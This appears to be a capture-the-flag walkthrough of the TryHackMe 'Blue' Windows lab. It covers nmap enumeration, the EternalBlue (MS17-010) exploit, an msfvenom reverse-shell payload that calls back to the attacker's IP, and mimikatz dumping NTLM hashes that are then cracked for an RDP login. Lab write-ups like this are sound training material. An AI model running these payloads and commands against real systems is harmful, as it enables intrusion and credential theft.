Posts Blue Writeup [THM]
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Blue Writeup [THM]

Blue is a beginner-friendly Windows machine from tryhackme , where we exploit the famous eternalblue MS17-010 and dump NTLM hashes with mimikatz.

Enumeration

Running nmap :

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nmap -sC -sV -o nmap.txt 10.10.86.230
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  tcpwrapped
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

We see that smb port is open, as the machine name is Blue it may hint that is vulnerable to Eternablue exploit, running nmap again to check it :

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  nmap -p445 --script vuln 10.10.86.230
  Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-08 16:13 CEST
  Nmap scan report for 10.10.86.230
  Host is up (0.040s latency).

  PORT    STATE SERVICE
  445/tcp open  microsoft-ds
  |_clamav-exec: ERROR: Script execution failed (use -d to debug)

  Host script results:
  |_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
  |_smb-vuln-ms10-054: false
  |_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
  | smb-vuln-ms17-010:
  |   VULNERABLE:
  |   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
  |     State: VULNERABLE
  |     IDs:  CVE:CVE-2017-0143
  |     Risk factor: HIGH
  |       A critical remote code execution vulnerability exists in Microsoft SMBv1
  |        servers (ms17-010).

Nmap reports that the machine is vulnerable to MS17-010 therefore we will use the following set of tools to exploit it : https://github.com/3ndG4me/AutoBlue-MS17-010 with it we can create the shellcode, set up a listener and exploit the machine.

Exploitation

We will generate the malicious shellcode using msfvenom:

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msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.14.106 LPORT=443 -f raw -o sc.bin EXITFUNC=thread

Now in order to obtain a shell we use the exploit contained in AutoBlue-MS17-010

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python eternalblue_exploit7 10.10.86.230 sc.bin

After running the exploit a few times we finally get a shell as nt authority\system

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nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.11.14.106] from (UNKNOWN) [10.10.86.230] 49186
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Windows\system32>whoami
nt authority\system

Post-exploitation

Finally we will dump administrator hashes using mimikatz, this is a good post-exploitation practice for mantaining access to the machine

Uploading mimikatz through smbserver:

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smbserver.py smbfolder .

In the victim machine :

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C:\Windows\System32>copy \\10.11.14.106\smbfolder\mimikatz.exe
copy \\10.11.14.106\smbfolder\mimikatz.exe
        1 file(s) copied.

Dumping hashes with mimikatz

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mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 Mar  8 2020 18:30:37
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # lsadump::sam
Domain : JON-PC
SysKey : 55bd17830e678f18a3110daf2c17d4c7
Local SID : S-1-5-21-2633577515-2458672280-487782642

SAMKey : c74ee832c5b6f4030dbbc7b51a011b1e

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

RID  : 000001f5 (501)
User : Guest

RID  : 000003e8 (1000)
User : Jon
  Hash NTLM: ffb43f0de35be4d9917ac0cc8ad57f8d

As port 3389 is open we can crack those hashes and login through rdp protocol using rdesktop

hash

The administrator hash is a blank hash , but we were able to obtain Jon cracked password

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rdesktop 10.10.86.230 -g 80% -u Jon -p alqfna22

We login succesfully as Jon

login

This post is licensed under CC BY 4.0 by the author.